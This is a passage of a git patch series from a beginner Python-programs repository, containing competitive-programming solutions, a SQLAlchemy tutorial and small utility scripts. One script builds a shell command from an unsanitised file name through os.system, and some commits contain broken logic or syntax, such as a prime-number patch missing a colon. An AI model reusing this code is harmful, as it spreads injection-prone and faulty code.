each String ≤ 103 +# +# SAMPLE INPUT +# 1 +# 3 1 3 +# abcdef +# abcaaa +# aabaaa +# +# SAMPLE OUTPUT +# aabaaa + +for _ in range(int(input())): + n, k, m = input().split() + strings = [] + for i in range(int(n)): + strings.append(input()) + + array = sorted(strings, key = lambda x: x[:int(m)]) + print(array[int(k) - 1]) From d1a2e33858e66748e5dd885e8b3bdd98b6a90801 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 26 Sep 2017 09:23:22 +0530 Subject: [PATCH 075/101] HackerEarth String Problem --- .../Algorithms/String/P15_SortedString.py | 43 +++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P15_SortedString.py diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P15_SortedString.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P15_SortedString.py new file mode 100644 index 00000000..6c199b14 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P15_SortedString.py @@ -0,0 +1,43 @@ +# Little Ashish got a lot of strings as his birthday gift. He does not mind getting so many strings for +# free; in fact, he loves them. But, on noticing all the strings he received as a gift, Little Ashish, who's +# also a snob and a bit OCD kind of a guy, realizes that he does not like the way in which the strings are +# arranged. +# +# He likes his strings sorted, in a different kind of a way. He wants his strings to be sorted based on the +# count of characters present in the string. For instance, if the string is: "aaabbc", then the desired +# string would be: cbbaaa. In case where the count of two characters is same, then the lexicographically +# smaller one will be printed first. For instance: "aabbcc" then, the output will be: "aabbcc". +# +# Input: +# First line of input contains number of test cases T. Each test case contains a single string S. +# +# Output: +# For each test cases print the sorted string. +# +# Constraints: +# 1<=T<=100 +# 1<=|S|<=100 +# +# Note: +# String contains only lowercase characters ['a' to 'z']. +# +# SAMPLE INPUT +# 3 +# aabbccdd +# aabcc +# hackerearth +# +# SAMPLE OUTPUT +# aabbccdd +# baacc +# cktaaeehhrr + +from collections import Counter + +for _ in range(int(input())): + string = Counter(input()) + sorted_array = sorted(string.items(), key=lambda x: (x[1], x[0])) + result = '' + for items in sorted_array: + result += items[0] * items[1] + print(result) From 0b695e41109e343ea2cc6bc35f27af71db6ebc54 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 26 Sep 2017 09:23:29 +0530 Subject: [PATCH 076/101] HackerEarth String Problem --- .../Algorithms/String/P16_SecretMessages.py | 57 +++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P16_SecretMessages.py diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P16_SecretMessages.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P16_SecretMessages.py new file mode 100644 index 00000000..80a1feae --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P16_SecretMessages.py @@ -0,0 +1,57 @@ +# X and Y are best friends and they love to chat with each other. But their recent concerns about the privacy +# of their messages has distant them. So they decided to encrypt their messages with a key, K, such that the +# character of their messages are now shifted K times towards right of their initial value. Their techniques +# only convert numbers and alphabets while leaving special characters as it is. +# +# Provided the value K you are required to encrypt the messages using their idea of encryption. +# +# INPUT FORMAT +# +# The first line of the input contains, T, the number of messages. The next line contains N, and K, no of +# characters in the message and key for encryption. The next line contains the message. +# +# OUTPUT FORMAT +# +# Output the encrypted messages on a new line for all the test cases. +# +# CONSTRAINS +# +# 1≤T≤100 +# 1≤N≤106 +# 0≤K≤106 +# +# SAMPLE INPUT +# 2 +# 12 4 +# Hello-World! +# 16 50 +# Aarambh@1800-hrs +# +# SAMPLE OUTPUT +# Lipps-Asvph! +# Yypykzf@1800-fpq + +myString = 'abcdefghijklmnopqrstuvwxyz' +myStringU = myString.upper() +nums = '0123456789' + +def access_char(string, i): + return string[i % len(string)] + +for _ in range(int(input())): + n, k = map(int, input().split()) + string = input() + result = [] + + for char in string: + if char.islower() and char.isalpha(): + result.append(access_char(myString, myString.find(char) + k)) + elif char.isupper() and char.isalpha(): + result.append(access_char(myStringU, myStringU.find(char) + k)) + elif char.isnumeric(): + result.append(access_char(nums, nums.find(str(char)) + k)) + else: + result.append(char) + + print(''.join([str(i) for i in result])) + From 104c5ffaadc5c98b811f8d1129457676c24c485e Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 26 Sep 2017 09:23:56 +0530 Subject: [PATCH 077/101] SQLAlchemy beginner tutorial --- Programs/P80_SQLAlchemyTutorial.py | 61 +++++++++++++++++++++++++++++ Programs/example.db | Bin 0 -> 8192 bytes 2 files changed, 61 insertions(+) create mode 100644 Programs/P80_SQLAlchemyTutorial.py create mode 100644 Programs/example.db diff --git a/Programs/P80_SQLAlchemyTutorial.py b/Programs/P80_SQLAlchemyTutorial.py new file mode 100644 index 00000000..f0316357 --- /dev/null +++ b/Programs/P80_SQLAlchemyTutorial.py @@ -0,0 +1,61 @@ +# Author: OMKAR PATHAK +# This is a simple tutorial on usinng SQLAlchemy as ORM (Object Relational Mapping) + +# Make sure you have installed SQLAlchemy using: pip3 install sqlalchemy + +from sqlalchemy import ( + create_engine, + Column, + Integer, + String +) + +from sqlalchemy.ext.declarative import declarative_base +from sqlalchemy.orm import sessionmaker +import os + + +# create a sqlite db +engine = create_engine('sqlite:///example.db', echo=True) +Base = declarative_base() + + +class Student(Base): + __tablename__ = "student" + + id = Column(Integer, primary_key=True) + username = Column(String) + firstname = Column(String) + lastname = Column(String) + university = Column(String) + + def __init__(self, username, firstname, lastname, university): + self.username = username + self.firstname = firstname + self.lastname = lastname + self.university = university + + +def create_tables(): + # create tables + Base.metadata.create_all(engine) + + +if __name__ == '__main__': + sqlite_file = 'example.db' + file_exists = os.path.isfile(sqlite_file) + if not file_exists: + create_tables() + Session = sessionmaker(bind=engine) + session = Session() + + # Create objects + user = Student('OmkarPathak', 'Omkar', 'Pathak', 'MIT') + session.add(user) + + # commit the record the database + session.commit() + + # Select objects + for student in session.query(Student).order_by(Student.id): + print (student.firstname, student.lastname) diff --git a/Programs/example.db b/Programs/example.db new file mode 100644 index 0000000000000000000000000000000000000000..633be46bae2e500a878bba2d1761763d3d0eae89 GIT binary patch literal 8192 zcmeI#u}Z^090u^av?vWo1cxFW`UjU56bErPmY~5jt!ETEp5%&0n+VB8aMa0{@Kt;j zpTo@yv`}=&<{;n49e4Nf&+^-Ha~)};X#QAa($ERpWt_7!BF0$TZpZF*xV_ZfI`z9L zZFcnawqvKb7c;vM2tWV=5P$##AOHafKmY;|fWSWxcsb_V-CmEso*H?-RHdm>m7CS! zj6~ok0VV!<6ws=qf!on3g>e#G1cKs8Lh)@B9g^FrN>$`CQ*`Hx(WNiyZmx^c{4AI9 zcUR^5Nfo6w&zql5ML71wjIM$i4RktmhxNaC%X??ur}tqG1OgC%00bZa0SG_<0uX=z l1Rwx`zZU4Xw%9>;e{Yg4WHFWIK`u6~<1pzvO#{4P;2SE+U9bQE literal 0 HcmV?d00001 From e511b2677129f32e6106ab1b2e6e1f06aa98485a Mon Sep 17 00:00:00 2001 From: chinya07 Date: Thu, 23 Aug 2018 14:48:24 +0530 Subject: [PATCH 078/101] updations in pattern programs --- Programs/P05_Pattern.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/Programs/P05_Pattern.py b/Programs/P05_Pattern.py index b4da5176..0289826a 100644 --- a/Programs/P05_Pattern.py +++ b/Programs/P05_Pattern.py @@ -88,3 +88,24 @@ def pattern5(level): print() pattern5(userInput) print() + +''' +following is the another approach to solve pattern problems with reduced time complexity + +for + +* +** +*** +**** +***** +''' + +num = int(input('Enter number for pattern')) +pattern = '*' +string = pattern * num +x = 0 + +for i in string: + x = x + 1 + print(string[0:x]) From 8d764797422bed31951ae5619334f06418e12ce9 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Thu, 23 Aug 2018 16:20:12 +0530 Subject: [PATCH 079/101] More efficient way to solve Pattern Program --- Programs/P05_Pattern.py | 41 +++++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/Programs/P05_Pattern.py b/Programs/P05_Pattern.py index 0289826a..db988a08 100644 --- a/Programs/P05_Pattern.py +++ b/Programs/P05_Pattern.py @@ -89,23 +89,24 @@ def pattern5(level): pattern5(userInput) print() -''' -following is the another approach to solve pattern problems with reduced time complexity - -for - -* -** -*** -**** -***** -''' - -num = int(input('Enter number for pattern')) -pattern = '*' -string = pattern * num -x = 0 - -for i in string: - x = x + 1 - print(string[0:x]) + def pattern6(userInput): + ''' + following is the another approach to solve pattern problems with reduced time complexity + + for + + * + ** + *** + **** + ***** + ''' + + num = int(input('Enter number for pattern')) + pattern = '*' + string = pattern * num + x = 0 + + for i in string: + x = x + 1 + print(string[0:x]) From e3f7414790499f8f3b7bd1d20cbc8c2dc78b078b Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Fri, 7 Sep 2018 20:52:47 +0530 Subject: [PATCH 080/101] Added new script --- README.md | 2 ++ .../P13_Python_Create_File_With_Metadata.py | 36 +++++++++++++++++++ 2 files changed, 38 insertions(+) create mode 100644 Scripts/P13_Python_Create_File_With_Metadata.py diff --git a/README.md b/README.md index ac9a677b..ab3fef9f 100644 --- a/README.md +++ b/README.md @@ -90,6 +90,8 @@ Pune, Maharashtra, India.
9. [Birthday Reminder](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P09_ReminderApplication.py) 10. [Script to download tutorial from tutorials point](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P10_SciptToDownloadPDF.py) 11. [Script to check email in your terminal](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P11_CheckEmail.py) +12. [Script to find devices connected to Network](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P12_ScriptToFindDevicesConnectedInNetwork.py) +13. [Script to create metadata for a file](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P13_Python_Create_File_With_Metadata.py) ## Python Concepts diff --git a/Scripts/P13_Python_Create_File_With_Metadata.py b/Scripts/P13_Python_Create_File_With_Metadata.py new file mode 100644 index 00000000..d0b70ad7 --- /dev/null +++ b/Scripts/P13_Python_Create_File_With_Metadata.py @@ -0,0 +1,36 @@ +#!/usr/bin/python3.6 +import sys, os, datetime + +def create_file(file_name): + ''' + Create a flat file based on underlying Operating System + ''' + if sys.platform == 'linux' or sys.platform == 'darwin': + os.system('touch ' + file_name) + elif sys.platform == 'win32': + os.system('echo . > ' + file_name) + +def write_data_in_file(file_name): + ''' + Write the metadata into the file + ''' + if sys.argv[3]: + if len(sys.argv[3]) <= 15: + length = 15 + else: + length = len(sys.argv[3]) + else: + length = 15 + with open(file_name, 'w') as fd: + fd.write('#' * (length + 16)) + fd.write('\n# Author: ' + sys.argv[2]) + fd.write('\n# Description: ' + sys.argv[3]) + fd.write('\n# Created at: ' + datetime.datetime.today().strftime('%d %b %Y') + '\n') + fd.write('#' * (length + 16)) + +if __name__ == '__main__': + if len(sys.argv) <= 3: + print('You need to provide three arguments [File Name] [Author Name] [Description]') + exit() + create_file(sys.argv[1]) + write_data_in_file(sys.argv[1]) \ No newline at end of file From 386bed49278ae55522175393cf8019ea97adde47 Mon Sep 17 00:00:00 2001 From: Tarun Kumar Dixit <43788843+tarun-sharma03@users.noreply.github.com> Date: Tue, 1 Oct 2019 01:19:26 +0530 Subject: [PATCH 081/101] Added new script --- Scripts/P14_ScriptToPlaySongs.py | 54 ++++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 Scripts/P14_ScriptToPlaySongs.py diff --git a/Scripts/P14_ScriptToPlaySongs.py b/Scripts/P14_ScriptToPlaySongs.py new file mode 100644 index 00000000..147e417b --- /dev/null +++ b/Scripts/P14_ScriptToPlaySongs.py @@ -0,0 +1,54 @@ +# This program upon execution will take your command to play music randomly. +import pyttsx3 #pip install pyttsx3 +import speech_recognition as sr #pip install speech recognition +import os +import datetime +import random + +engine = pyttsx3.init('sapi5') +voices = engine.getProperty('voices') +engine.setProperty('voice',voices[0].id) #voices[1].id for female assistant + +#speak function to speak the string passed to it. +def speak(audio): + engine.say(audio) + engine.runAndWait() +#function to listen your command and process them +def takedata(): + r= sr.Recognizer() + with sr.Microphone() as source: + print("Listening....") + audio = r.listen(source) + try: + print("Recognizing...") + query = r.recognize_google(audio,language='en-in') #language set is Indian English + print("The user said ",query) + except Exception : + print("Sorry i was unable to catch that. Please try speaking that again.") + return 'None' + return query + +def wishme(): + hours = datetime.datetime.now().hour + + if hours>=0 and hours <12: + speak("good morning") + elif hours>=12 and hours <18: + speak("good afternoon") + else: + speak("good evening") + speak("sir i am your personal assistant. tell me how can i help you ") + +wishme() +query = takedata() +if 'play music' or 'play songs' in query: + music_dir = "F:\\Songs" #put the location of the folder where you store your songs + songs = os.listdir(music_dir) + l = len(songs) + num = random.randrange(0,l,1) + os.startfile(os.path.join(music_dir,songs[num])) + speak("Thank you for using my sevices. All improvements on my github repository are welcome.") + print("www.github.com/tarun-sharma03") + exit() +else: + speak("Query type not supported") \ No newline at end of file From 750ad1f311836583f1724e2de03b25c6d5a891c3 Mon Sep 17 00:00:00 2001 From: Abhishek Jha <44729252+abhishek-kehsihba@users.noreply.github.com> Date: Thu, 3 Oct 2019 19:44:22 +0530 Subject: [PATCH 082/101] Added problems in BIT Manipulation in Hackerearth section (#5) * Created P04_Mystery.py BIT MANIPULATION: Hackearth-Mystery * Created P05_HihiAndCrazyBits * Created P06_RajanAndOddFrequencyNumber.py * Created P07_SherlockAndXOR.py * Created P08_XorAndProject.py * Created P09_LuckyNumbers.py --- .../Bit_Manipulation/P04_Mystery.py | 44 +++++++++++++++++++ .../Bit_Manipulation/P05_HihiAndCrazyBits.py | 37 ++++++++++++++++ .../P06_RajanAndOddFrequencyNumber.py | 25 +++++++++++ .../Bit_Manipulation/P07_SherlockAndXOR.py | 36 +++++++++++++++ .../Bit_Manipulation/P08_XorAndProject.py | 42 ++++++++++++++++++ .../Bit_Manipulation/P09_LuckyNumbers.py | 44 +++++++++++++++++++ 6 files changed, 228 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Bit_Manipulation/P04_Mystery.py create mode 100644 CompetitiveProgramming/HackerEarth/Bit_Manipulation/P05_HihiAndCrazyBits.py create mode 100644 CompetitiveProgramming/HackerEarth/Bit_Manipulation/P06_RajanAndOddFrequencyNumber.py create mode 100644 CompetitiveProgramming/HackerEarth/Bit_Manipulation/P07_SherlockAndXOR.py create mode 100644 CompetitiveProgramming/HackerEarth/Bit_Manipulation/P08_XorAndProject.py create mode 100644 CompetitiveProgramming/HackerEarth/Bit_Manipulation/P09_LuckyNumbers.py diff --git a/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P04_Mystery.py b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P04_Mystery.py new file mode 100644 index 00000000..4f3735d9 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P04_Mystery.py @@ -0,0 +1,44 @@ +# In the world of dragon ball, Goku has been the greatest rival of Vegeta. Vegeta wants to surpass goku but never succeeds. Now that he +# knows he cant beat goku in physical strength, he wants to be satisfied by beating goku in mental strength. He gives certain inputs and +# outputs , Goku needs to find the logic and predict the output for the next inputs. Goku is struggling with the challenge, your task is +# to find the logic and and help him win the challenge. + +# INPUT : + +# Given a series of numbers(inputs) and each number(N) on a newline. + +# OUTPUT : + +# For the given input , Output the required ans. + +# NOTE : + +# No. of test cases are unknown. + +# Use Faster I/O Techniques. + +# CONSTRAINTS : + +# 0<= N <= 10^18 + +# SAMPLE INPUT +# 0 +# 1 +# 5 +# 12 +# 22 +# 1424 +# SAMPLE OUTPUT +# 0 +# 1 +# 2 +# 2 +# 3 +# 4 + +while(1): + try: + r=bin(int(input())) + print(r.count('1')) + except: + break diff --git a/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P05_HihiAndCrazyBits.py b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P05_HihiAndCrazyBits.py new file mode 100644 index 00000000..39f73400 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P05_HihiAndCrazyBits.py @@ -0,0 +1,37 @@ +# Hihi is the grandfather of all geeks in IIITA. He and his crazy ideas.....Huh..... Currently, hihi is working on his most famous project +# named 21 Lane, but he is stuck at a tricky segment of his code. + +# Hihi wants to assign some random IP addresses to users, but he won't use rand(). He wants to change the current IP of the user's computer +# to the IP such that its hash is next hash greater than the hash of original IP and differs by only 1 bit from the hash of original IP. + +# Smart Hihi already hashed the IP to some integer using his personal hash function. What he wants from you is to convert the given hashed +# IP to the required IP X as mentioned above. + +# OK, just find the find the smallest number greater than n with exactly 1 bit different from n in binary form + +# Input : + +# First line contains single integer T ( 1 <= T <= 10^6)- number of test cases. Second line contains hashed IP N ( 1 <= N <= 10^18) + +# Output : + +# Print T lines, each containing an integer X, the required IP.(don't worry Hihi will decode X to obtain final IP address) + +# SAMPLE INPUT +# 5 +# 6 +# 4 +# 10 +# 12 +# 14 +# SAMPLE OUTPUT +# 7 +# 5 +# 11 +# 13 +# 15 + + +for _ in range(int(input())): + a=int(input()) + print(a|a+1) diff --git a/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P06_RajanAndOddFrequencyNumber.py b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P06_RajanAndOddFrequencyNumber.py new file mode 100644 index 00000000..924380aa --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P06_RajanAndOddFrequencyNumber.py @@ -0,0 +1,25 @@ +# Given an array of numbers of size (2*n+1).Raja is unable to find the number which is present odd number of times.It is guaranteed that only one such number exists.Can you help Raja in finding the number which is present odd number of times? + +# Input +# First line contains value of n. +# Second line contains (2*n+1) array elements. +# Output +# Print the required number. +# Constraints +# 1≤ n ≤ +# 1≤ a[i] ≤ + +# SAMPLE INPUT +# 2 +# 1 2 3 2 1 +# SAMPLE OUTPUT +# 3 +# Explanation +# For first input only 3 is the number which is present odd number of times. + +a=int(input()) +b=list(map(int,input().split())) +d=b[0] +for i in range(1,len(b)): + d=d^b[i] +print(d) diff --git a/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P07_SherlockAndXOR.py b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P07_SherlockAndXOR.py new file mode 100644 index 00000000..56f5d4d0 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P07_SherlockAndXOR.py @@ -0,0 +1,36 @@ +# You are given an array A1,A2...AN. You have to tell how many pairs (i, j) exist such that 1 ≤ i < j ≤ N and Ai XOR Aj is odd. + +# Input and Output +# First line T, the number of testcases. Each testcase: first line N, followed by N integers in next line. For each testcase, print the +# required answer in one line. + +# Constraints +# 1 ≤ T ≤ 10 +# 1 ≤ N ≤ 105 +# 0 ≤ Ai ≤ 109 + +# SAMPLE INPUT +# 2 +# 3 +# 1 2 3 +# 4 +# 1 2 3 4 +# SAMPLE OUTPUT +# 2 +# 4 +# Explanation +# For first testcase: 1 XOR 2 is 3 and 2 XOR 3 is 1. So, 2 valid pairs. For second testcase: 1 XOR 2 is 3 and 2 XOR 3 is 1 and 1 XOR 4 is 5 +# and 3 XOR 4 is 7. So, 4 valid pairs. + +for _ in range (int(input())): + a=int(input()) + b=list(map(int,input().split())) + ans=0 + a2=0 + for i in range(0,a): + if(b[i]&1): + ans+=1 + else: + a2+=1 + + print(ans*a2) diff --git a/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P08_XorAndProject.py b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P08_XorAndProject.py new file mode 100644 index 00000000..bbecdbaa --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P08_XorAndProject.py @@ -0,0 +1,42 @@ +# A project was going on related to image processing and to perform experiments and get desired result the image needs to be converted to +# Gray-Scale using a parameter 'x' and the function P(x) represented the Gray-Code and calculated via x xor (x div 2) where xor stands for +# bitwise exclusive OR (bitwise modulo 2 addition), and div means integer division. + +# It is interesting to note that function P(x) is invertible, which means it is always possible to uniquely restore x given the value of +# P(x). + +# So the group working on the project forgot to keep the original data related to parameter 'x'. Write a program to restore number x from +# the given value of P(x). + +# INPUT: +# The input file contains an integer number y, the value of G(x). + +# OUTPUT: +# The output file should contain a single integer x such that G(x) = y. + +# CONSTRAINTS: +# 0 ≤ x,P(x) ≤ . + +# SAMPLE INPUT +# 15 +# SAMPLE OUTPUT +# 10 + +a=int(input()) +a=bin(a).replace("0b","") +c=[int(i) for i in str(a)] +d=[] +e=c[0] +for i in range(0,len(a)): + if(i==0): + d.append(c[i]) + else: + f=c[i]^e + d.append(f) + e=f +e=1 +g=0 +for i in range(0,len(a)): + g=g+d[len(a)-i-1]*e + e=e*2 +print(g) diff --git a/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P09_LuckyNumbers.py b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P09_LuckyNumbers.py new file mode 100644 index 00000000..20378c24 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P09_LuckyNumbers.py @@ -0,0 +1,44 @@ +# Golu wants to find out the sum of Lucky numbers.Lucky numbers are those numbers which contain exactly two set bits.This task is very +# diffcult for him.So Help Golu to find sum of those numbers which exactly contain two set bits upto a given number N. + +# 3 5 10 are lucky numbers where 7 14 are not. + +# INPUT +# First line contain number of test cases T.Each test case contains a single number N. +# OUTPUT +# Print sum of all Lucky Numbers upto N.Output may be large so take modulo with 1000000007. + +# Constraints +# 1<=T<=105 +# 1<=N<=1018 + +# NOTE: Since value of test cases and n is really large, please use fast I/O optimization techniques. + +# SAMPLE INPUT +# 1 +# 5 +# SAMPLE OUTPUT +# 8 + +import collections +for _ in range(int(input())): + + sum = 0 + mod = 1000000007 + n = int(input()) + j = bin(n) + bl = len(j) - 2 + + + while bl > 0: + lo = bl - 2 + + while lo >= 0: + i = '1' + ('0' * lo) + ('1' ) + ('0' * (bl - lo - 2)) + + if int(i,2) <= n : + sum = (sum + int(i,2)) + lo -= 1 + + bl -= 1 + print(sum % mod) From a118f4a28423ba1182608da62ca3b31f1cde426c Mon Sep 17 00:00:00 2001 From: Avinash Kumar Jha <41112044+avinashjha11@users.noreply.github.com> Date: Sun, 6 Oct 2019 21:33:49 +0530 Subject: [PATCH 083/101] Added problems in SPOJ section. (#6) * SPOJ Problems * SPOJ Problems * SPOJ Problems --- CompetitiveProgramming/SPOJ/P13_AVRG.py | 5 +++++ CompetitiveProgramming/SPOJ/P14_MUL.py | 5 +++++ CompetitiveProgramming/SPOJ/P15_PRADIPSUM.py | 19 +++++++++++++++++++ 3 files changed, 29 insertions(+) create mode 100644 CompetitiveProgramming/SPOJ/P13_AVRG.py create mode 100644 CompetitiveProgramming/SPOJ/P14_MUL.py create mode 100644 CompetitiveProgramming/SPOJ/P15_PRADIPSUM.py diff --git a/CompetitiveProgramming/SPOJ/P13_AVRG.py b/CompetitiveProgramming/SPOJ/P13_AVRG.py new file mode 100644 index 00000000..1c4f21c5 --- /dev/null +++ b/CompetitiveProgramming/SPOJ/P13_AVRG.py @@ -0,0 +1,5 @@ +sum=0 +for i in range (0,6): + a=int(input()) + sum+=a +print(sum/6) diff --git a/CompetitiveProgramming/SPOJ/P14_MUL.py b/CompetitiveProgramming/SPOJ/P14_MUL.py new file mode 100644 index 00000000..e1141060 --- /dev/null +++ b/CompetitiveProgramming/SPOJ/P14_MUL.py @@ -0,0 +1,5 @@ +t = int(input()) +while t>0: + t-=1 + n1, n2 = map(int, raw_input().split()) + print n1*n2 diff --git a/CompetitiveProgramming/SPOJ/P15_PRADIPSUM.py b/CompetitiveProgramming/SPOJ/P15_PRADIPSUM.py new file mode 100644 index 00000000..a4b78dae --- /dev/null +++ b/CompetitiveProgramming/SPOJ/P15_PRADIPSUM.py @@ -0,0 +1,19 @@ +def sum(x): + if x < 0: + return -(-x * (-x + 1) // 2) + else: + return x * (x + 1) // 2 + +while True: + try: + a, b = map(int, input().split()) + if a > b: + a, b = b, a + if b < 0: + print(sum(a) - sum(b + 1)) + elif a <= 0: + print(sum(b) + sum(a)) + else: + print(sum(b) - sum(a - 1)) + except EOFError: + exit(0) From 8906b98bb7a0770b2c5faf42fac90f84742dfadd Mon Sep 17 00:00:00 2001 From: Pulkit-100 <40335208+Pulkit-100@users.noreply.github.com> Date: Sun, 6 Oct 2019 21:34:27 +0530 Subject: [PATCH 084/101] Added Magic Methods (#7) --- OOP/P11_MagicMethods.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/OOP/P11_MagicMethods.py b/OOP/P11_MagicMethods.py index caebf85e..751b7db0 100644 --- a/OOP/P11_MagicMethods.py +++ b/OOP/P11_MagicMethods.py @@ -13,6 +13,14 @@ def __init__(self, firstname, lastname, salary = 0): def __str__(self): return 'Full Name: ' + self.firstname + ' ' + self.lastname + # Implements behaviour for built in type comparison to int + def __int__(self): + return self.salary + + # For overloading the (==) + def __eq__(self,other): + return self.salary==other.salary + # For overloading the (+) def __add__(self, other): return self.salary + other.salary @@ -28,3 +36,6 @@ def __mul__(self, other): print(Jagdish) # Full Name: Jagdish Pathak print(Omkar + Jagdish) # 3000 (This output because of __add__ method overloading) print(Omkar * Jagdish) # 2000000 (__mul__) + print(int(Omkar)) # 1000 (__int__) + print(int(Jagdish)) # 2000 (__int__) + print(Omkar==Jagdish) From 3e41fbe9d5d9c0314cc9a7d92fb353540e09a23e Mon Sep 17 00:00:00 2001 From: AthaSSiN <56124496+AthaSSiN@users.noreply.github.com> Date: Fri, 11 Oct 2019 20:41:48 +0530 Subject: [PATCH 085/101] Added an efficient method to find primes (#8) --- .../HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py b/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py index 28d4de94..050e5164 100644 --- a/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py +++ b/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py @@ -12,10 +12,12 @@ # Constraints # 1 <= N <=1000 +import math + userInput = int(input()) -for i in range(2, userInput): +for i in range(2, userInput + 1): check = 0 - for j in range(2, i): + for j in range(2, int(math.sqrt(i))+ 1): if i % j == 0: check = 1 break From 38f7b664a356d64b3e19acbf73ef39c0ee6a9609 Mon Sep 17 00:00:00 2001 From: Subrhamanya <36793516+Subrhamanya@users.noreply.github.com> Date: Tue, 15 Oct 2019 20:38:34 +0530 Subject: [PATCH 086/101] Efficient program to check given number is a perfect square of 2 (#12) --- .../Algorithms/logics/perfectsquareof2.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/logics/perfectsquareof2.py diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/logics/perfectsquareof2.py b/CompetitiveProgramming/HackerEarth/Algorithms/logics/perfectsquareof2.py new file mode 100644 index 00000000..87b79a99 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/logics/perfectsquareof2.py @@ -0,0 +1,12 @@ +# Efficient Python program to check entered number is a perfect square of 2 or not +# Example +# 8 +# Its a perfect square of 2 + + + +n = int(input("Enter a number")) +if n & (n - 1) == 0: + print("Its a perfect square of 2") +else: + print("Its not perfect square") From 377cf550531c86bae88a2e3805c6db2b063fd5d9 Mon Sep 17 00:00:00 2001 From: namangup <32638824+namangup@users.noreply.github.com> Date: Wed, 16 Oct 2019 08:59:31 +0530 Subject: [PATCH 087/101] Modified the algorithm to take half of the previous time (#13) --- .../HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py b/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py index 050e5164..c491dfd1 100644 --- a/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py +++ b/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py @@ -15,7 +15,9 @@ import math userInput = int(input()) -for i in range(2, userInput + 1): +if userInput>2 + print("2",end = ' ') +for i in range(3, userInput + 2): check = 0 for j in range(2, int(math.sqrt(i))+ 1): if i % j == 0: From 0c09f366f9d652d0c2dd83dc07006eb5f2e806e0 Mon Sep 17 00:00:00 2001 From: Sudhi Mohan Date: Sat, 26 Oct 2019 09:49:53 +0530 Subject: [PATCH 088/101] Added machine learning program (#15) * created folder machine learning * Added gradient descent program * Delete file1 --- MachineLearning/gradient_descent.py | 102 ++++++++++++++++++++++++++ MachineLearning/readme.txt | 30 ++++++++ MachineLearning/version_list.txt | 109 ++++++++++++++++++++++++++++ 3 files changed, 241 insertions(+) create mode 100644 MachineLearning/gradient_descent.py create mode 100644 MachineLearning/readme.txt create mode 100644 MachineLearning/version_list.txt diff --git a/MachineLearning/gradient_descent.py b/MachineLearning/gradient_descent.py new file mode 100644 index 00000000..6c89d921 --- /dev/null +++ b/MachineLearning/gradient_descent.py @@ -0,0 +1,102 @@ +#################################################################################### +## PROBLEM1: Gradient Descent +## Gradient descent is a popular optimization technique to solve many +## machine learning problems. In this case, we will explore the gradient +## descent algorithm to fit a line for the given set of 2-D points. +## ref: https://tinyurl.com/yc4jbjzs +## ref: https://spin.atomicobject.com/2014/06/24/gradient-descent-linear-regression/ +## +## +## input: directory of faces in ./data/1_points.csv/ +## function for reading points is provided +## +## +## your task: fill the following functions: +## evaluate_cost +## evaluate_gradient +## udpate_params +## NOTE: do 